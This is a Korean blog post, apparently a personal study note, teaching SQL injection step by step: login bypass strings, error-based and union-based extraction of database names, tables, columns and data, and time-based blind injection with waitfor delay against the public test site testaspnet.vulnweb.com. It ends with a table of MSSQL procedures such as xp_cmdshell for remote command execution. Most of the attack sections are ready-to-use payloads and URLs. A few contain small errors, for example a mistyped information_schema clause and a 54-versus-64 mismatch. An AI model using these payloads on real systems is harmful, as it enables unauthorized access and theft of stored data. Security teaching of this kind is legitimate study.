나만의 연습장

SQL Injection (2) 본문

웹 해킹/SQL Injection

SQL Injection (2)

My-Berr 2018. 11. 12. 11:35

!!!경고!!!

본 게시물에는 해킹 기법에 관련한 정보가 포함되어 있습니다.

이를 사용하여 악용할 시에는 법적 문제가 발생할 수 있으며

공격으로 인한 사고에 대해서 작성자는 절대 책임지지 않습니다.


이 페이지를 열함하였다는 것은 이에 동의한  것으로 간주합니다.


1. 인증 우회 (Auth Bypass)


보통은 아이디와 패스워드를 입력하는 로그인 페이지를 타겟으로 행해지는 공격이며, SQL 쿼리문의 TRUE/FALSE의 

논리적 연산 오류를 이용하여 로그인 인증 쿼리문이 무조건 TRUE 결과값이 나오게 하여 인증을 무력화하는 기법이다.



인증우회를 위한 공격 쿼리 패턴으로는 아래와 같은 것들이 있으며, 쿼리의 결과를 무조건 참(TRUE)로 만들 수 있으며

쿼리라면 무엇이든 그 패턴이 될 수 있다.

' or 1=1--

' or 1=1# (MySQL인 경우)

' or'dog'='dog'--

' or'ab'='a'+'b'--

' or 2>1--


웹사이트가 사용자에게 알려주는 친절한 메세지들을 잘 살펴보고, 로그인 쿼리의 구조를 유추하고 ,그에 알맞은 패턴을 창의적으로 생각해내야한다.

패턴을 찾아 냈다면 아래와 같이 아이디와 비밀번호를 입력칸에 패턴을 입려하여 접속을 시도하면 된다.



스크린샷은 아이디와 패스워드에 모두 'or '1'='1을 입력한 예이다.

패턴을 정확히 찾아냈다면, 문제없이 로그인 페이지를 우회하여 사이트에 접속을 성공할 것이다.



2. 데이터 노출 (Data Disclosure)


타겟 시스템의 주요 데이터 절취를 목적으로 하는 방식이며,
Error based, Union based, Blind based, Time based 방식이 있다.

웹사이트에서 Database의 에러정보를 확인할 수 있는지, 없는지에 따라 공격 방식이 결정된다.


우선 공격 가능한 포인트를 찾는 것이 우선이다.

웹사이트는 사용자와의 상호작용을 위해 사용자의 입력 혹은 사용자의 특정 행위에 따라 URL상의 파라미터로 특정 값이 전달되어 뒷단에 있는 Database에 질의를 던지고 그에 따른 적절한 결과를 사용자에게 제공한다.


HTTP 메소드가 GET방식인 경우이다. (HTTP 메소드 종류 알기)


EX) www.example.com/?product id=114


2.1 Error based 방식

Database의 에러메세지를 기반으로 한 공격이며, SQL구문 중 group by와 having 구문을 사용하여 일부로 에러를 유발시켜 에러정보를 바탕으로 Database명이나 Table, Column, 궁극정으로 Data를 절취하는 것이 가능하다.

주로 MSSQL Database를 사용하는 웹사이트에 사용되는 기법이나, Oracle, MySQL에서도 통하는 기법이다.



Step 1 : 공격 포인트 찾기

수동으로 각 메뉴를 어슬렁거리며 찾을 수 있고, 웹취약점 진단툴인 Acunetix나 Burp Suite, Paros 혹은
 SQLMap, Pangolin 같은 SQL Injection tool 을 통해 자동으로 찾을 수 있다.


EX) www.exaple.com/?idx=1


Step 2 : 에러 유발시키기

SQL구문에도 반드시 함께 써야할 구문들이 있다. group by와 having구문이다.

having은 group by가 상용된 SQL문에서 필터링이나 어떤 조건을 줄 때 사용하는 구문으로
반드시 group by와 함께 사용해야 한다.

이 점을 이용하여 group by없이 having을 사용하여 일부로 에러를 유발시킨다.


EX) www.example.com/?idx=1'having 1=1--


위 URL을 실행하면 당연히 에러가 난다. 이 에러가 웹페이지에 보여지는가? 그것이 관건이다.

에러 정보로 무엇을 파악할 수 있을까?




Microsoft OLE DB Probider for SQL Server (0x80040E14)

'member.idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.




-> member.idx 열이 집계 함수에 없다. 현재 쿼리에서 사용되는 테이블은 member이고, 첫번째 컬럼은 idx이다.


Step 3 : 다른 컬럼 알아내기

첫번째 컬럼이 idx인 것을 알아냈다면, 이를 이용하여 다른 컬럼의 이름들도 뽑아낼 수 있다.

이번에는 group by와 having을 함께 쓸 것이다. 대신 group by에는 이미 알아낸 첫번째 컬럼인
idx를 집계하는 컬럼으로 사용한다.


EX) www.example.com/?idx=1'group by idx having 1=1--



Microsoft OLE DB Provider for SQL Server (0x80040E14)

'member.bId' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.




-> 두번째 컬럼은 bId 이다. 세번째도 똑같이 하면된다.


더이상 에러가 발생하지 않고 정상적인 페이지가 보인다면 모든 컬럼명을 알아낸 것으로 판단할 수 있다.


Step 4 : 각 컬럼의 자료형 (Datatype) 알아내기

이 때 사용되는 대표적인 SQL함수로는 sum(컬럼)이 있다.

sum(컬럼)은 말그대로 지정된 컬럼의 값을 모두 합하는 함수이다. 당연히 컬럼은 숫자형이어야 하고,

숫자형이 아닌 자료형의 컬럼을 지정하게 되면 에러가 발생한다.


그 에러에는 지정된 컬럼명의 자료형이 무엇인지 친절하게 나오게 된다.




2.2 Union based 방식


Union 연산자를 이용하여 공격자가 의도한 쿼리를 파라미터에 덧붙임으로써, 원하는 내부정보를 절취하는 방식이다.

공격 포인트는 위의 예제로 한다.


Step 1: 공격포인트 찾기

위에 했던 방식



Step 2: 내부 실행되는 쿼리에서 사용되는 컬럼 갯수 알아내기


order by 라는 SQL Sorting 구문을 이용한다.

이 구문은 지정된 컬럼순으로 쿼리 결과를 오름차순(asc) 혹은 내림차순(desc)으로 정렬 해준다.


select 컬럼1, 컬럼2, 컬럼3, 컬럼4 ....

from 테이블

where 조건

order by 컬럼1 asc, 컬럼2 asc, 컬럼3 desc


이때, order by 뒤에 특정 컬럼명을 지정하지 않고, select절에서 사용된 컬럼의 순번으로 지정하는 것도 가능하다.


select 컬럼1, 컬럼2, 컬럼3, 컬럼4 ....

from 테이블

where 조건

order by 1,2,3


이런식으로 1은 컬럼1, 2은 컬럼2, 3은 컬럼3을 뜻한다. 


order by를 통해 컬럼 갯수를 알아내는 방법은 

select절에 있지도 않은 컬럼으로 정렬을 시키면 에러가 난다.

이 점을 이용한다.

즉, select 절에서는 10개의 컬럼만 사용되는데, 11번째 컬럼으로 정렬해라는 쿼리를 실행하여 에러를 유발하고,
에러가 나지 않는 최대수가 바로 컬럼의 갯수이다.


EX) www.example.com/?idx=1+order+by+1--

-> 이렇게 작성하면 정상적인 페이지가 보여진다. 컬럼이 하나도 없는 select절은 없으니깐



이제 order bydml 컬럼번호를 2부터 순차적으로 계속해서 증가 시키며 접속해본다.



www.exaple.com/?idx=1+order+by+2--

www.exaple.com/?idx=1+order+by+3--

www.exaple.com/?idx=1+order+by+4--

www.exaple.com/?idx=1+order+by+5--


에러가 발생할 때까지 반복한다.


컬럼번호가 5까지는 정상출력이고 6에서 에러페이지가 발생했다고 가정해보자


컬럼 갯수는 5개라는 것을 알 수 있다.


그럼 여기서 union을 이용하여 쿼리를 합쳤을 때, 에러없이 정상페이지가 출력될 것 이다.


EX) www.example.com/?idx=1+union+select+1,2,3,4,5--


위의 URL 구문이 Union based 기법의 핵심이라고 볼 수 있다.



Step 3 : 웹페이지에 사용되는 컬럼 알아내기


실제 웹페이에서 사용되는 컬럼 번호를 알아내기 위해서는 정상적인 파라미터인(idx)에 부정조건을 전달 해야한다.

즉, 아래와 같이 음수값(-1, -99 등)과 같은 파라미터(idx)로 존재하지 않을만한 데이터값을 지정하거나,

and 1=0과 같이 결과가 참(TRUE)이 될 수 없는 조건문을 추가한다.


EX) www.example.com/?idx=-99+union+select+1,2,3,4,5--


그러면 실제 유효한 쿼리는 뒤에 union을 통해 추가한 select 1,2,3,4,5 뿐이고, 

웹페이지에 유효쿼리에 결과값만이 표시된다.

즉, 1,2,3,4,5 컬럼 중에 몇몇 혹은 모든 컬럼이 웹페이지 화면에 그 정체를 드러낼 것이다.


웹페이제 사용된 컬럼은 2번 컬럼임을 알아냈다고 가정하자

그럼 뒤에 단계부터 2번 컬럼을 통해 공개되어서는 안되는 민감 정보를 취득할 수 있게 된다.



Step 4 : Database명 알아내기


2번 컬럼에 database()함수를 사용하면 웹페이지의 2번 컬럼 위치에 데이터베이스 명이 표시된다.


EX) www.example.com/?idx=-99+union+select+1,database(),3,4,5--



Step 5 : Table명 알아내기


또한 MySQL의 시스템 테이블인 information_schema.tables를 이용하면 해당 Database의 테이블 리스트를 뽑아 낼 수 있다.


EX) www.example.com/?idx=-99+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=data--



Step 6 : Column명 알아내기


Step 5 에서 알아낸 테이블 중 내부데이터를 보고 싶은 테이블이 있다면 아래의 조작된 URL주소로 컬럼명들도 알아낼수 있다.

역시 이때도 시스템 테이블인 information_scema.columns 테이블이 사용된다.


www.example.com/?idx=-99+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns_where+table_name=테이블명--



Step 7 : Data 추출하기


컬럼명들도 알아냈다면 원하는 컬럼의 데이터값들을 뽑아보자


www.example.com/?idx=-99+union+select+1,group_concat(concat_ws(0x3a,컬럼1,컬럼2),3,4,5+from+테이블명--


concat_ws()는 컬럼1과 컬럼2를 구분자(0x3a)로 이어주는 역할을 한다.

웹페이지 화면에 컬럼1과 컬럼2의 데이터값이 아름답게 출력될것이다.



2.3 Time based 방식


Time based 방식은 에러가 발생하지 않는 사이트에 사용된다. 기존에 설명한 Error based와 Union based보다 
더 많은 노가다가 필요하다.


DB별로 사용되는 함수는 아래와 같다.



MySQL: 버전5에서는 Sleep(5), 버전4에서는  benchmark(5)

MSSQL: waitfor delay(0:0:5)

Orable : Begin dbms_lock.sleep(5); end


Time based 기법의 실습은 http://testaspnet.vulnweb.com 사이트를 이용할 것이다.

공개된 사이트이다.


Step 1: 공격포인트 찾기


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3




Step 2: 에러 유출여부 파악


에러를 유발하기 위해 공격 포인트의 파라미터에 작은 따옴표(')를 추가로 삽입해보자.

작은 따옴표를 사용하는 것은  작은따옴표가 내부에서 쿼리로 인식이 되는지 확인하기 위함이다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id='


결과는 에러가 뜨지 않는다. 이런 경우 Error based, Union based로 해봤자 헛수고 이다.



Step 3: 공격 가능여부 파악


이번에는 파라미터에 부정조건 (and 1=0)과 참조건 (and 1=1)을 추가로 넣어보자


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3 and 1=0


아무 결과도 뜨지 않는다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3 and 1=1


정상 페이지가 출력된다.


이는, where 조건절에서 먹힌다는 의미로, 공격이 가능함을 뜻한다.



Step 4: Time based 공격 가능여부 파악



URL 파라미터값에 ;waitfor delay`'0:0:5' 구문 입력해보자.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3 ;waitfor delay `'0:0:5'--


세미콜론(;)은 waitfor delay 앞의 쿼리를 끝내기 위해 사용한다.


waitfor delay `'0:0:5'--로 인해 5초 뒤에 웹페이지가 뜬다.


이와 같이 waitfor delay 함수의 기능이 제대로 동작한다면 DataBase의 종류는 MSSQL로 생각할 수 있다.

sleep()함수와 benchmark()함수도 시도 해봤는데 기능이 동작하지 않으니 MySQL은 아니다.


Step 5 : 현재 User 정보 확인


substring(), Unicode(), cast() 함수를 통해 한 글자씩 아스키값과 비교해보자


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3;

if(unicode(substring((select isnull(cast(system_user as nvarchar(4000)),char(32))),1,1))>64)waitfor delay '0:0:5'--


아스키값이 54 초과인 경우 5초뒤에 웹페이지가 뜰 것이다.

그렇다면 첫번째 글자는 소문자 알파벳 a-z 까지 중에 하나임을 유추할 수 있다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3;

if(unicode(substring((select isnull(cast(system_user as nvarchar(4000)),char(32))),1,1))>69)waitfor delay '0:0:5'--


아스키값을 69로 변경하여 다시 한 번 시도해보면

만약 5초의 딜레이가 발생하지 않는다면 첫글자는 아스키코드 69이하라는 뜻이다.

즉, 현재 User 계정의 첫번째 글자는 아스키코드 65~68 사이의 값이다.


이런 식으로 범위를 좁혀가며 글자 하나씩 찾아낼 수 있다.


첫번째 글자를 찾았다면, substring 함수를 수정하여 두번째 글자의 아스키값을 비교해가면 된다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=3;

if(unicode(substring((select isnull(cast(system_user as nvarchar(4000)),char(32))),2,1))>69)waitfor delay '0:0:5'--



3. 원격명령 실행 (Remote Command Excute)


원격명령 실행은 아주 간단히 할 수 있다.


MSSQL에서 주로 사용되는 방법으로 MSSQL의 Stored Procedure를 이용하여 공격이 가능하다.

파라미터를 적절히 조작하여, 아래의 저장프로리져를 삽입하여 원하는 행위를 할 수 있다.


 구분

저장 프로시저 

설명 

 명령어 실행

Xp_cmdshell 

관리자권한으로 윈도우 명령어 실행 

레지스트리 관련 

Xp_readdmultistring

 레지스트리키에 문자열 추가

 Xp_regdeletekey

 레지스트리키 삭제

Xp_regdeletevalue

레지스트리키에 있는 값 삭제 

 Xp_regenumkeys

 레지스트리키를 나열함

Xp_regenumvalues 

 레지스트리키에 있는 값을 나열함

 Xp_regread

 레지스트리키를 읽음

Xp_regremovemultistring 

 레지스트리키에 있는 여러 문자열 삭제

Xp_regwrite 

 레지스트리키를 작성함

 서비스 관리

 Xp_servicecontrol

윈도우 서비스를 시작 혹은 정지함 

 ODBC 리소스

 Xp_enumdsn

서버의 ODBC 데이터 목록을 나타냄 

 로그인 정보

 Xp_loginconfig

보안모드에 대한 정보를 나타냄 

 Xp_logininfo

사용자의 로그인 정보를 나타냄 

 Cab 파일생성

 Xp_makecab

서버파일에 대해 압축할 권한 허용 

 도메인 나열

 Xp_ntsec_enumdomains

서버가 접근가능한 도메인을 나열함 

 프로세스 Killing

Xp_terminate_process(pid) 

프로세스를 죽임 



[출처] http://mrrootable.tistory.com/25



'웹 해킹 > SQL Injection' 카테고리의 다른 글

SQL Injection  (0) 2018.11.05
Comments